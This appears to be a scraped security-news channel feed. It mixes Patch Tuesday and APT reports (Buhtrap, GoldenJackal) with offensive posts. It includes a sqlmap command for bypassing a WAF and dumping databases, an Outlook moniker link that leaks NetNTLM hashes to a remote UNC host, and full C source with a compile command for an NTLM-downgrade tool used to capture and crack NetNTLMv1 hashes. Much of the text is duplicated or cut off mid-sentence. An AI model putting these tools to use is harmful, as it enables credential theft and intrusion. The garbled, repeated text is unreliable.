nodemedic.pdf
1023 KB
#Research
"NODEMEDIC-FINE: Automatic Detection and Exploit Synthesisfor Node.js Vulnerabilities", 2024.
]-> https://github.com/NodeMedicAnalysis/NodeMedic-FINE
"NODEMEDIC-FINE: Automatic Detection and Exploit Synthesisfor Node.js Vulnerabilities", 2024.
]-> https://github.com/NodeMedicAnalysis/NodeMedic-FINE
sec_coding_dotnet-api.pdf
579.1 KB
#Whitepaper
#Sec_code_review
"Secure coding to prevent some common vulnerabilities (critical/high level) in Web API .NET".
#Sec_code_review
"Secure coding to prevent some common vulnerabilities (critical/high level) in Web API .NET".
#tools
#Threat_Research
SMTP Downgrade Attacks and MTA-STS
https://alexsci.com/blog/smtp-downgrade-attacks-and-mta-sts
]-> MTA-STS Auditor:
https://github.com/ralexander-phi/mta-sts-sender-audit
#Threat_Research
SMTP Downgrade Attacks and MTA-STS
https://alexsci.com/blog/smtp-downgrade-attacks-and-mta-sts
]-> MTA-STS Auditor:
https://github.com/ralexander-phi/mta-sts-sender-audit
#Fuzzing
Effective Fuzzing:
A Dav1d Case Study
https://googleprojectzero.blogspot.com/2024/10/effective-fuzzing-dav1d-case-study.html
Effective Fuzzing:
A Dav1d Case Study
https://googleprojectzero.blogspot.com/2024/10/effective-fuzzing-dav1d-case-study.html
🔥1
Kanal abone sayısı 5K olursa İbrahim Baloğlu’nun “Siber Olaylara Müdahale Eğitimi” 5 kişiye ücretsiz verilecek.
Hadi bakalım parmaklar çalışsın biraz :)
Hadi bakalım parmaklar çalışsın biraz :)
MIT's "Mathematics for Computer Science" book.
1048 pages Available for free
https://courses.csail.mit.edu/6.042/spring18/mcs.pdf
1048 pages Available for free
https://courses.csail.mit.edu/6.042/spring18/mcs.pdf
program DigitalRoot;
var
num, root: integer;
function SumOfDigits(n: integer): integer;
var
sum, rem: integer;
begin
sum := 0;
while n > 0 do
begin
rem := n mod 10;
sum := sum + rem;
n := n div 10;
end;
SumOfDigits := sum;
end;
begin
write('Enter a number: ');
readln(num);
root := num;
while (root >= 10) do
begin
{ Lost Row }
end;
writeln('The digital root is: ', root);
end.
var
num, root: integer;
function SumOfDigits(n: integer): integer;
var
sum, rem: integer;
begin
sum := 0;
while n > 0 do
begin
rem := n mod 10;
sum := sum + rem;
n := n div 10;
end;
SumOfDigits := sum;
end;
begin
write('Enter a number: ');
readln(num);
root := num;
while (root >= 10) do
begin
{ Lost Row }
end;
writeln('The digital root is: ', root);
end.
Yakında bozuk veritabanlarınız onarılır diye ilan vericem. Memlekette hiç mi sql bilen yok.
Hizmet alınan firmalar topu üzerinden atıp “biz anlamayız” deyip geçiyor.
Hizmet alınan firmalar topu üzerinden atıp “biz anlamayız” deyip geçiyor.
👍7👏1
Microsoft's PatchTuesday for October has arrived with fixes for 118 vulnerabilities, including five zeros, two of which are actively exploited.
Three critical vulnerabilities have been fixed, all of which are related to remote code execution, and the overall distribution of errors by category is as follows: 28 - EoP, 7 - Security Function Bypass, 43 - RCE, 6 - Information Disclosure, 26 - DoS, 7 - Spoofing.
Among the exploited zeros are: CVE-2024-43573 and CVE-2024-43572 .
The first is a vulnerability in the Windows MSHTML platform, previously used by Internet Explorer and the legacy Microsoft Edge, components of which are still present in Windows.
Microsoft has not released details about the bug or how it is being exploited or who disclosed it. There is speculation that the bug may be a workaround for a previous vulnerability that used MSHTML to spoof file extensions in alerts displayed when files are opened.
The second, CVE-2024-43572, is described as a vulnerability in the Microsoft Management Console that allows malicious Microsoft Saved Console (MSC) files to be used to achieve remote code execution on vulnerable devices.
Microsoft fixed the vulnerability by blocking the opening of untrusted MSC files. It is also not yet known how the flaw was used in real attacks.
The remaining three zeros that were publicly disclosed but not seen in attacks are tracked as CVE-2024-6197 , CVE-2024-20659 , and CVE-2024-43583 .
CVE-2024-6197 - Curl Remote Code Execution Vulnerability. Microsoft addressed the vulnerability by updating the libcurl library used by the Curl executable that ships with Windows.
The vulnerability was discovered by a researcher nicknamed z2_, who shared technical details in a report to HackerOne.
The second, CVE-2024-20659, is a Windows Hyper-V security feature bypass vulnerability.
On some specific hardware, UEFI can be bypassed, which can lead to compromise of the hypervisor and secure kernel.
Microsoft says the vulnerability requires physical access to the device and a reboot to exploit. It was discovered by researchers at Quarkslab.
And finally, the third CVE-2024-43583 is an EoP in Winlogon that could grant attackers SYSTEM privileges in Windows. It was discovered by researchers from pwnull.
Microsoft says administrators need to take additional steps to protect against this vulnerability.
To mitigate this vulnerability, you must enable Microsoft's native Input Method Editor on your device. This will protect your device from potential vulnerabilities associated with a third-party (3P) IME during the sign-in process.
A full description of each vulnerability and the systems it affects is available here .
Three critical vulnerabilities have been fixed, all of which are related to remote code execution, and the overall distribution of errors by category is as follows: 28 - EoP, 7 - Security Function Bypass, 43 - RCE, 6 - Information Disclosure, 26 - DoS, 7 - Spoofing.
Among the exploited zeros are: CVE-2024-43573 and CVE-2024-43572 .
The first is a vulnerability in the Windows MSHTML platform, previously used by Internet Explorer and the legacy Microsoft Edge, components of which are still present in Windows.
Microsoft has not released details about the bug or how it is being exploited or who disclosed it. There is speculation that the bug may be a workaround for a previous vulnerability that used MSHTML to spoof file extensions in alerts displayed when files are opened.
The second, CVE-2024-43572, is described as a vulnerability in the Microsoft Management Console that allows malicious Microsoft Saved Console (MSC) files to be used to achieve remote code execution on vulnerable devices.
Microsoft fixed the vulnerability by blocking the opening of untrusted MSC files. It is also not yet known how the flaw was used in real attacks.
The remaining three zeros that were publicly disclosed but not seen in attacks are tracked as CVE-2024-6197 , CVE-2024-20659 , and CVE-2024-43583 .
CVE-2024-6197 - Curl Remote Code Execution Vulnerability. Microsoft addressed the vulnerability by updating the libcurl library used by the Curl executable that ships with Windows.
The vulnerability was discovered by a researcher nicknamed z2_, who shared technical details in a report to HackerOne.
The second, CVE-2024-20659, is a Windows Hyper-V security feature bypass vulnerability.
On some specific hardware, UEFI can be bypassed, which can lead to compromise of the hypervisor and secure kernel.
Microsoft says the vulnerability requires physical access to the device and a reboot to exploit. It was discovered by researchers at Quarkslab.
And finally, the third CVE-2024-43583 is an EoP in Winlogon that could grant attackers SYSTEM privileges in Windows. It was discovered by researchers from pwnull.
Microsoft says administrators need to take additional steps to protect against this vulnerability.
To mitigate this vulnerability, you must enable Microsoft's native Input Method Editor on your device. This will protect your device from potential vulnerabilities associated with a third-party (3P) IME during the sign-in process.
A full description of each vulnerability and the systems it affects is available here .
HackerOne
curl disclosed on HackerOne: CVE-2024-6197: freeing stack buffer in...
Libcurl at commit [04739054cdac5a0614fb94e3655e313c03399f35](https://github.com/curl/curl/tree/04739054cdac5a0614fb94e3655e313c03399f35) contains an invalid invocation of `free()` in the function...
👍1
FACCT researchers warn of a return after a year of silence from the Russian-speaking cybercriminal syndicate Buhtrap, uncovering new campaigns targeting Russian financial and legal firms.
Buhtrap is the name of both the malware and the criminal group that originally used it in their attacks.
The first attacks on financial institutions were recorded back in August 2015, and the group itself has been active since at least 2014.
The main vector for penetrating corporate networks at that time were phishing emails on behalf of the Bank of Russia or its representatives.
Later, hacked or fake specialized accounting resources began to be used, where the first stage of malware infection was implemented under the guise of forms or document templates.
The damage from Buhtrap attacks for the period 2020-2022 alone was estimated at almost 2 billion rubles, and the global damage for all years of its activity could reach 6-7 billion rubles.
The last activity was observed in April 2023.
A year later, during the investigation of an incident involving the download of a malicious object onto a client's device, FACCT experts discovered new artifacts of criminal cyber activity: the malicious instance in the archive was attributed as Buhtrap RAT.
After the incident was detected, additional analysis of the executable instance contained in the archive was initiated. The zip archive contains the first stage loader named Document #[0-9].exe.
When the executable file was launched, a second-stage dropper was unpacked, which launched Wordpad.exe with an empty document.
The next stage would only start after the user closed the wordpad window, which is typically used to bypass sandboxes.
Buhtrap RAT was saved to disk and registered in startup, namely in the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run , the path to RAT: %userprofile%\AppData\Local\%dir_name%\%samplename%.exe. The directory name and RAT name are randomly generated in Latin.
In this campaign, the Buhtrap RAT is an executable .exe file, while in the 2023 campaign it was a .dll file that was unpacked and launched in the memory of the rundll32.exe process.
During the check it was found that the malicious archive was downloaded by the user via a web browser.
It turned out that the user was simply searching for a document template in Yandex, and ended up downloading a malicious archive.
An analysis of the campaign showed that, overall, the new scheme is practically no different from the campaign in March-April 2023.
As before, decoy sites were created, disguised as specialized resources for accountants and lawyers.
In total, three web resources were found that were involved in the current campaign and were in the top lines of search results:
- astrayurist[.]rf (registered 2024-07-26);
- fin-balance[.]rf (registered 2024-07-26);
- financialbalance[.]rf (registered 2024-07-25).
In addition, another resource was discovered – legalresolve[.]rf , which was not used by the attackers within this company, but is associated with the above-mentioned domains.
Indicators of compromise are in the report .
Buhtrap is the name of both the malware and the criminal group that originally used it in their attacks.
The first attacks on financial institutions were recorded back in August 2015, and the group itself has been active since at least 2014.
The main vector for penetrating corporate networks at that time were phishing emails on behalf of the Bank of Russia or its representatives.
Later, hacked or fake specialized accounting resources began to be used, where the first stage of malware infection was implemented under the guise of forms or document templates.
The damage from Buhtrap attacks for the period 2020-2022 alone was estimated at almost 2 billion rubles, and the global damage for all years of its activity could reach 6-7 billion rubles.
The last activity was observed in April 2023.
A year later, during the investigation of an incident involving the download of a malicious object onto a client's device, FACCT experts discovered new artifacts of criminal cyber activity: the malicious instance in the archive was attributed as Buhtrap RAT.
After the incident was detected, additional analysis of the executable instance contained in the archive was initiated. The zip archive contains the first stage loader named Document #[0-9].exe.
When the executable file was launched, a second-stage dropper was unpacked, which launched Wordpad.exe with an empty document.
The next stage would only start after the user closed the wordpad window, which is typically used to bypass sandboxes.
Buhtrap RAT was saved to disk and registered in startup, namely in the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run , the path to RAT: %userprofile%\AppData\Local\%dir_name%\%samplename%.exe. The directory name and RAT name are randomly generated in Latin.
In this campaign, the Buhtrap RAT is an executable .exe file, while in the 2023 campaign it was a .dll file that was unpacked and launched in the memory of the rundll32.exe process.
During the check it was found that the malicious archive was downloaded by the user via a web browser.
It turned out that the user was simply searching for a document template in Yandex, and ended up downloading a malicious archive.
An analysis of the campaign showed that, overall, the new scheme is practically no different from the campaign in March-April 2023.
As before, decoy sites were created, disguised as specialized resources for accountants and lawyers.
In total, three web resources were found that were involved in the current campaign and were in the top lines of search results:
- astrayurist[.]rf (registered 2024-07-26);
- fin-balance[.]rf (registered 2024-07-26);
- financialbalance[.]rf (registered 2024-07-25).
In addition, another resource was discovered – legalresolve[.]rf , which was not used by the attackers within this company, but is associated with the above-mentioned domains.
Indicators of compromise are in the report .
ESET researchers report activity from the GoldenJackal spyware APT, linked to a series of cyber attacks targeting diplomatic and government organizations across Europe , infiltrating isolated systems using specialized malware.
The APT was first discovered by Kaspersky Lab researchers, who uncovered the threat actor in May 2023 after closely monitoring its activity in the Middle East and South Asia.
An important feature of the intrusions is the use of the JackalWorm worm, which is capable of infecting connected USB drives and delivering the JackalControl Trojan.
ESET detected GoldenJackal artifacts in the attack on the South Asian embassy in Belarus in August and September 2019, and again in July 2021.
What is of particular interest is how GoldenJackal managed to deploy a completely updated set of tools from May 2022 to March 2024 in an attack on a government agency in the EU.
Three different malware families were spotted in the South Asian Embassy incident, in addition to JackalControl, JackalSteal, and JackalWorm.
Among them:
- GoldenDealer: used to deliver executable files to an isolated system via hacked USB drives;
- GoldenHowl: a modular backdoor with the ability to steal files, create scheduled tasks and an SSH tunnel, and upload/download files;
- GoldenRobo: A Go file collection and data exfiltration tool that relies on the legitimate Windows robocopy utility.
However, the incident involving an unnamed EU entity involved a completely new set of malicious tools, mostly written in Go.
All of them are designed to distribute malware and steal files via USB drives, exfiltrate data, and create intermediate servers to distribute payloads to other hosts.
Among them:
- GoldenUsbCopy and its improved version GoldenUsbGo: monitor USB drives and copy files to retrieve them;
- ackal, related to used to distribute malware, including a lightweight version of JackalWorm, to other systems via USB;
- GoldenBlacklist and its Python implementation GoldenPyBlacklist: designed to process and steal emails of interest;
- GoldenMailer: sends stolen information to attackers via email;
- GoldenDrive: Uploads stolen information to Google Drive.
It is currently unknown how GoldenJackal manages to implement initial infections to compromise target environments. However , Kaspersky Lab researchers previously suggested the use of trojanized Skype installers and malicious Microsoft Word documents.
In addition, the exact mechanism of GoldenDealer distribution is also unclear. It is activated when a USB drive is connected, causing itself and an unknown component of the worm to be copied to the removable device.
It is assumed that the unknown component is launched when an infected USB is connected to an isolated system, after which GoldenDealer saves information about the machine to the USB drive, from which later, when connected to a host with the Internet, the information flies to an external server, which then responds with the appropriate payloads to launch in the isolated system.
The malware is also responsible for copying the downloaded executable files to the USB drive. In the final step, when the device is reconnected to the isolated machine, GoldenDealer takes the copied executable files and runs them.
In turn, GoldenRobo also runs on an Internet-connected PC and is equipped with functionality for extracting files from a USB drive and transferring them to a controlled server.
According to ESET, a separate module that would be responsible for copying files from an isolated computer to the USB drive itself still needs to be found and studied.
But overall, it can be concluded that GoldenJackal is a fairly sophisticated attacker who is well aware of all the nuances of segmenting the networks of his victims.
The APT was first discovered by Kaspersky Lab researchers, who uncovered the threat actor in May 2023 after closely monitoring its activity in the Middle East and South Asia.
An important feature of the intrusions is the use of the JackalWorm worm, which is capable of infecting connected USB drives and delivering the JackalControl Trojan.
ESET detected GoldenJackal artifacts in the attack on the South Asian embassy in Belarus in August and September 2019, and again in July 2021.
What is of particular interest is how GoldenJackal managed to deploy a completely updated set of tools from May 2022 to March 2024 in an attack on a government agency in the EU.
Three different malware families were spotted in the South Asian Embassy incident, in addition to JackalControl, JackalSteal, and JackalWorm.
Among them:
- GoldenDealer: used to deliver executable files to an isolated system via hacked USB drives;
- GoldenHowl: a modular backdoor with the ability to steal files, create scheduled tasks and an SSH tunnel, and upload/download files;
- GoldenRobo: A Go file collection and data exfiltration tool that relies on the legitimate Windows robocopy utility.
However, the incident involving an unnamed EU entity involved a completely new set of malicious tools, mostly written in Go.
All of them are designed to distribute malware and steal files via USB drives, exfiltrate data, and create intermediate servers to distribute payloads to other hosts.
Among them:
- GoldenUsbCopy and its improved version GoldenUsbGo: monitor USB drives and copy files to retrieve them;
- ackal, related to used to distribute malware, including a lightweight version of JackalWorm, to other systems via USB;
- GoldenBlacklist and its Python implementation GoldenPyBlacklist: designed to process and steal emails of interest;
- GoldenMailer: sends stolen information to attackers via email;
- GoldenDrive: Uploads stolen information to Google Drive.
It is currently unknown how GoldenJackal manages to implement initial infections to compromise target environments. However , Kaspersky Lab researchers previously suggested the use of trojanized Skype installers and malicious Microsoft Word documents.
In addition, the exact mechanism of GoldenDealer distribution is also unclear. It is activated when a USB drive is connected, causing itself and an unknown component of the worm to be copied to the removable device.
It is assumed that the unknown component is launched when an infected USB is connected to an isolated system, after which GoldenDealer saves information about the machine to the USB drive, from which later, when connected to a host with the Internet, the information flies to an external server, which then responds with the appropriate payloads to launch in the isolated system.
The malware is also responsible for copying the downloaded executable files to the USB drive. In the final step, when the device is reconnected to the isolated machine, GoldenDealer takes the copied executable files and runs them.
In turn, GoldenRobo also runs on an Internet-connected PC and is equipped with functionality for extracting files from a USB drive and transferring them to a controlled server.
According to ESET, a separate module that would be responsible for copying files from an isolated computer to the USB drive itself still needs to be found and studied.
But overall, it can be concluded that GoldenJackal is a fairly sophisticated attacker who is well aware of all the nuances of segmenting the networks of his victims.
Eset
Mind the (air) gap: GoldenJackal gooses government guardrails
ESET Research analyzed two separate toolsets for breaching air-gapped systems, used by a cyberespionage threat actor known as GoldenJackal.
Bypass WAF for use of sqlmap
sqlmap -u "https://target.com" --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch --dump
sqlmap -u "https://target.com" --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch --dump
Target
Target : Expect More. Pay Less.
Shop Target online and in-store for everything from groceries and essentials to clothing and electronics. Choose contactless pickup or delivery today.
👍1
Offensive monikers.
There is an interesting mechanism inside Windows systems called monikers. Monikers are a separate entity in COM. They allow you to identify a specific COM object (or even fully implement it) as a simple string. Just one string :)
This is convenient, at least because you don't need to know the CLSID (which, by the way, can change). The necessary string is enough.
However, like any other Windows functionality, monikers are actively abused by attackers. I have found three ways of abuse:
1. UAC Bypass. A separate class of monikers is Elevation Moniker. They allow instantiating objects in a process with a higher integrity level, which leads to UAC bypass. These objects are quite easy to find. And there is even a tool MonikerHound for detecting such objects. UAC Bypass Examples using Elevation Moniker can be found here and here . A detailed description can be found in the article on hacker .
2. Session theft. There is a Session Moniker that allows instantiating a COM object inside someone else's session. So, using Session Moniker, we can create an object with the
3. NetNTLM hash leak. Not long ago, Outlook had a bug: Moniker Link Bug. Using it, it was possible to leak NetNTLM hashes when adding an HTML tag to a letter:
How did it work? Outlook treated the line
Accordingly, Outlook started parsing this string, received a moniker and tried to access the path to initialize the File Moniker, which led to a NetNTLM hash leak. You can read more about this bug here .
To be completely honest, Outlook saw the file moniker for the .rtf file and launched a Microsoft Word process in the background, which was already trying to open the file via the UNC path. And it was from this process that the hashes were flying :)
There is an interesting mechanism inside Windows systems called monikers. Monikers are a separate entity in COM. They allow you to identify a specific COM object (or even fully implement it) as a simple string. Just one string :)
This is convenient, at least because you don't need to know the CLSID (which, by the way, can change). The necessary string is enough.
However, like any other Windows functionality, monikers are actively abused by attackers. I have found three ways of abuse:
1. UAC Bypass. A separate class of monikers is Elevation Moniker. They allow instantiating objects in a process with a higher integrity level, which leads to UAC bypass. These objects are quite easy to find. And there is even a tool MonikerHound for detecting such objects. UAC Bypass Examples using Elevation Moniker can be found here and here . A detailed description can be found in the article on hacker .
2. Session theft. There is a Session Moniker that allows instantiating a COM object inside someone else's session. So, using Session Moniker, we can create an object with the
ExecuteInCmd() method in someone else's session, call it and execute code in someone else's session. We published a code example here . And about the internal implementation of Session Moniker (in fact, what IHxExec has under the hood) I wrote here . Finally, in the just published article on hacker we looked at other ways to abuse sessions via COM.3. NetNTLM hash leak. Not long ago, Outlook had a bug: Moniker Link Bug. Using it, it was possible to leak NetNTLM hashes when adding an HTML tag to a letter:
<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>
How did it work? Outlook treated the line
\\10.10.111.111\test\test.rtf!something before the ! sign as a file moniker (that is, the COM object is represented in the file), and something as an Item Moniker (this is actually a COM object in some container, inside the cells of an Excel table, for example). At the same time, if the tag simply had \\10.10.111.111\test\test.rtf , then it would be a normal path, not a moniker :)Accordingly, Outlook started parsing this string, received a moniker and tried to access the path to initialize the File Moniker, which led to a NetNTLM hash leak. You can read more about this bug here .
To be completely honest, Outlook saw the file moniker for the .rtf file and launched a Microsoft Word process in the background, which was already trying to open the file via the UNC path. And it was from this process that the hashes were flying :)
GitHub
GitHub - CICADA8-Research/COMThanasia: A set of programs for analyzing common vulnerabilities in COM
A set of programs for analyzing common vulnerabilities in COM - CICADA8-Research/COMThanasia
👍2🔥1
Happy Monday potato review everyone!!! :)
Often, the presence of the
Conceptually, Potatoes can be divided into:
-
- By stealing a token. But this is a rarer chain, if we also have SeDebugPrivilege, then we can steal a token from any other process and attach it to our payload via
- Capture WPAD authentication with NTLM Reflection attack. The method was patched in MS16-075. However, POC HotPotato exists.
- LSA cache abuse. To prevent NTLM Reflection attacks, Microsoft came up with the idea of introducing a list of resources that was stored inside LSA. The whole point was that LSASS began to store a list of all recently issued NTLM Challenges with the corresponding service in the cache in order to detect NTLM Reflection attempts. In fact, by comparing the challenge and the service on which authentication occurs, it was possible to determine the attack. The problem was that the cache had a fairly short lifetime (300 seconds), after which it was cleared. The hacker could only wait for this time, then pull LSA and escalate. The POC is called GhostPotato . The method has also already been patched.
- Abuse of impersonation functions. OSEP shared with us the PrintSpoofer spoof. For those who forgot, this is a variant of exploiting SeDebug by calling a printer function that accepts a specific endpoint — a named channel (pipe). The hacker would set up his own pipe, trigger the system with the function, and the system would come to the pipe. The hacker could only call
Finally, there is a more general option that only raises HTTP and SMB services. How to force the system to enter them is up to you. In the case of HTTP, a 401 request will be returned with authentication hijacking, in the case of SMB, impersonation. Such a potato is called GenericPotato
Often, the presence of the
SeImpersonatePrivilege privilege leads to an increase in privileges to the system. However, I have not seen anywhere sufficiently structured information that would describe not the tools themselves, but the general principle of their operation. It's time to fix it :)Conceptually, Potatoes can be divided into:
-
DCOM-Based - a huge part of the spoofs abuse DCOM. There, in several places, we have authentication, a context is built, and from it we can extract a token. Krb Relay things adhere to approximately the same principle. Except that there we catch a ticket and go somewhere with it, and here we attack a local system. How - you will find out very soon :)) Sorry, the video from UnderConf is late, but I am already actively engaged in distilling the material into a text format on Habr, with the addition of all sorts of tricks and gimmicks :) This includes JuicyPotatoNG , RottenPotato , LonelyPotato , JuicyPotato , RemotePotato , SweetPotato , GodPotato , RoguePotato , LocalPotato- By stealing a token. But this is a rarer chain, if we also have SeDebugPrivilege, then we can steal a token from any other process and attach it to our payload via
CreateProcessWithTokenW() . POC- Capture WPAD authentication with NTLM Reflection attack. The method was patched in MS16-075. However, POC HotPotato exists.
- LSA cache abuse. To prevent NTLM Reflection attacks, Microsoft came up with the idea of introducing a list of resources that was stored inside LSA. The whole point was that LSASS began to store a list of all recently issued NTLM Challenges with the corresponding service in the cache in order to detect NTLM Reflection attempts. In fact, by comparing the challenge and the service on which authentication occurs, it was possible to determine the attack. The problem was that the cache had a fairly short lifetime (300 seconds), after which it was cleared. The hacker could only wait for this time, then pull LSA and escalate. The POC is called GhostPotato . The method has also already been patched.
- Abuse of impersonation functions. OSEP shared with us the PrintSpoofer spoof. For those who forgot, this is a variant of exploiting SeDebug by calling a printer function that accepts a specific endpoint — a named channel (pipe). The hacker would set up his own pipe, trigger the system with the function, and the system would come to the pipe. The hacker could only call
ImpersonateNamedPipeClient() to capture the account. Few people know, but there are other vulnerable services! DiagTrack — DiagTrackEop , RasMan service — RasmanPotato , AzureAttestService — magicAzureAttestService . But pipes are not the only ones. COM also has an impersonation function, called CoImpersonateClient() , it was abused in DCOMPotato .Finally, there is a more general option that only raises HTTP and SMB services. How to force the system to enter them is up to you. In the case of HTTP, a 401 request will be returned with authentication hijacking, in the case of SMB, impersonation. Such a potato is called GenericPotato
GitHub
GitHub - antonioCoco/JuicyPotatoNG: Another Windows Local Privilege Escalation from Service Account to System
Another Windows Local Privilege Escalation from Service Account to System - antonioCoco/JuicyPotatoNG
Seagate has officially announced the start of commercial deliveries of HAMR models (32TB, apparently) - for now as part of the CORVAULT storage system.
In the form of individual samples, they allegedly actively distribute such disks for testing and validation to key consumers (data centers, cloud providers, and the like).
Cool. Really cool.
I especially hope that they super-thoroughly rechecked all the servo code and everything that was needed from the old eternal bugs - fixed and brought to mind.
Otherwise, one day the HAMR disk will simply turn into a "death star", only in an internal version - and will incinerate everything there, including its own heads :)
They showed the first working prototype publicly in 2012 in the form of a 2.5" SAS,
Only 11 years have passed 😅 and the technology (in their words) has been perfected, and "everything is really cool now, yo."
Let everything be fine. Because from the latest reports, Seagate has some pretty big losses...
30TB+ in the coming years right on the market is a serious new round of evolution.
https://www.anandtech.com/show/18984/seagate-ships-first-commercial-hamr-hard-drives
In the form of individual samples, they allegedly actively distribute such disks for testing and validation to key consumers (data centers, cloud providers, and the like).
Cool. Really cool.
I especially hope that they super-thoroughly rechecked all the servo code and everything that was needed from the old eternal bugs - fixed and brought to mind.
Otherwise, one day the HAMR disk will simply turn into a "death star", only in an internal version - and will incinerate everything there, including its own heads :)
They showed the first working prototype publicly in 2012 in the form of a 2.5" SAS,
Only 11 years have passed 😅 and the technology (in their words) has been perfected, and "everything is really cool now, yo."
Let everything be fine. Because from the latest reports, Seagate has some pretty big losses...
30TB+ in the coming years right on the market is a serious new round of evolution.
https://www.anandtech.com/show/18984/seagate-ships-first-commercial-hamr-hard-drives
AnandTech
Seagate Ships First Commercial HAMR Hard Drives
Seagate announced this week that it had begun the first commercial revenue shipments of its next-generation HAMR hard drives, which are being shipped out as part of Seagate's latest Corvault storage systems. This commercialization marks an important milestone…
Just recently Misha posted the LeakedWallpaper tool, and I have already managed to use it on the project. Everything worked great! But why do we need a NetNTLMv2 hash? Let's think about how to improve the technique if the computer has an angry EDR, but there are local admin rights. With local admin rights, you can downgrade NTLM authentication to NetNTLMv1 using registry key manipulation and get a hash that can be restored to an NTLM hash regardless of the complexity of the user's password. For this purpose, I wrote a small program that backs up the current registry settings, then downgrades and restores everything back after 60 seconds.
Let's compile it like this
As a result, I managed to get the NetNTLMv1 hash of the unbrute-proof password of the privileged account and restore the NTLM hash within 10 hours. Profit!
Or for the really lazy, we added the -downgrade flag directly to the LeakedWallpaper tool :)
PS Don't forget to add privileged accounts to Protected Users.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // for sleep function
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Error reading registry key.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Error writing registry key.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Delay 60 seconds
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Let's compile it like this
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
As a result, I managed to get the NetNTLMv1 hash of the unbrute-proof password of the privileged account and restore the NTLM hash within 10 hours. Profit!
Or for the really lazy, we added the -downgrade flag directly to the LeakedWallpaper tool :)
PS Don't forget to add privileged accounts to Protected Users.
GitHub
GitHub - MzHmO/LeakedWallpaper: Leak of any user's NetNTLM hash. Fixed in KB5040434
Leak of any user's NetNTLM hash. Fixed in KB5040434 - MzHmO/LeakedWallpaper